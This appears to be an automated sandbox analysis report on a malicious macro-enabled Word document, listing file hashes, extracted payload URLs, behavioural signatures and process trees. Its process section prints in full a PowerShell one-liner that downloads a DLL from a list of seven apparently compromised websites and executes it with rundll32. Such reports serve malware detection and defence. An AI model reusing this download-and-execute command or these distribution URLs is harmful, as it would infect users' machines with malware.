Analysis
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max time kernel
201s -
max time network
204s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
19-04-2022 04:33
Static task
static1
Behavioral task
behavioral1
Sample
otsgtjda.docm
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
otsgtjda.docm
Resource
win10v2004-20220414-en
General
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Target
otsgtjda.docm
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Size
140KB
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MD5
391dca4cf91ae12aa1b5ac9d0ac3ec41
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SHA1
47cfcf587d838f68a8f8df53ea3afae475436992
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SHA256
06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8
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SHA512
de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41
Malware Config
Extracted
https://evgeniys.ru/sap-logs/D6/
http://crownadvertising.ca/wp-includes/OxiAACCoic/
https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/
http://immoinvest.com.br/blog_old/wp-admin/luoT/
https://yoho.love/wp-content/e4laFBDXIvYT6O/
https://www.168801.xyz/wp-content/6J3CV4meLxvZP/
https://www.pasionportufuturo.pe/wp-content/XUBS/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3412 3288 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 18 IoCs
Processes:
powershell.exeflow pid process 35 1184 powershell.exe 49 1184 powershell.exe 52 1184 powershell.exe 61 1184 powershell.exe 65 1184 powershell.exe 67 1184 powershell.exe 76 1184 powershell.exe 78 1184 powershell.exe 80 1184 powershell.exe 81 1184 powershell.exe 84 1184 powershell.exe 85 1184 powershell.exe 86 1184 powershell.exe 87 1184 powershell.exe 90 1184 powershell.exe 91 1184 powershell.exe 93 1184 powershell.exe 95 1184 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3288 WINWORD.EXE 3288 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1184 powershell.exe 1184 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1184 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 3288 WINWORD.EXE 3288 WINWORD.EXE 3288 WINWORD.EXE 3288 WINWORD.EXE 3288 WINWORD.EXE 3288 WINWORD.EXE 3288 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid process target process PID 3288 wrote to memory of 3412 3288 WINWORD.EXE cmd.exe PID 3288 wrote to memory of 3412 3288 WINWORD.EXE cmd.exe PID 3412 wrote to memory of 1184 3412 cmd.exe powershell.exe PID 3412 wrote to memory of 1184 3412 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\otsgtjda.docm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/1184-142-0x00000297BAB30000-0x00000297BB2D6000-memory.dmpFilesize
7.6MB
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memory/1184-140-0x00000297B9D83000-0x00000297B9D85000-memory.dmpFilesize
8KB
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memory/1184-138-0x00007FFC5F340000-0x00007FFC5FE01000-memory.dmpFilesize
10.8MB
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memory/1184-141-0x00000297B9D86000-0x00000297B9D88000-memory.dmpFilesize
8KB
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memory/1184-139-0x00000297B9D80000-0x00000297B9D82000-memory.dmpFilesize
8KB
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memory/1184-137-0x00000297B9EC0000-0x00000297B9EE2000-memory.dmpFilesize
136KB
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memory/1184-136-0x0000000000000000-mapping.dmp
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memory/3288-143-0x00007FFC49CD0000-0x00007FFC49CE0000-memory.dmpFilesize
64KB
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memory/3288-132-0x00007FFC49CD0000-0x00007FFC49CE0000-memory.dmpFilesize
64KB
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memory/3288-134-0x00007FFC49CD0000-0x00007FFC49CE0000-memory.dmpFilesize
64KB
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memory/3288-133-0x00007FFC49CD0000-0x00007FFC49CE0000-memory.dmpFilesize
64KB
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memory/3288-130-0x00007FFC49CD0000-0x00007FFC49CE0000-memory.dmpFilesize
64KB
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memory/3288-131-0x00007FFC49CD0000-0x00007FFC49CE0000-memory.dmpFilesize
64KB
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memory/3288-144-0x00007FFC49CD0000-0x00007FFC49CE0000-memory.dmpFilesize
64KB
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memory/3288-145-0x00007FFC49CD0000-0x00007FFC49CE0000-memory.dmpFilesize
64KB
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memory/3288-146-0x00007FFC49CD0000-0x00007FFC49CE0000-memory.dmpFilesize
64KB
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memory/3412-135-0x0000000000000000-mapping.dmp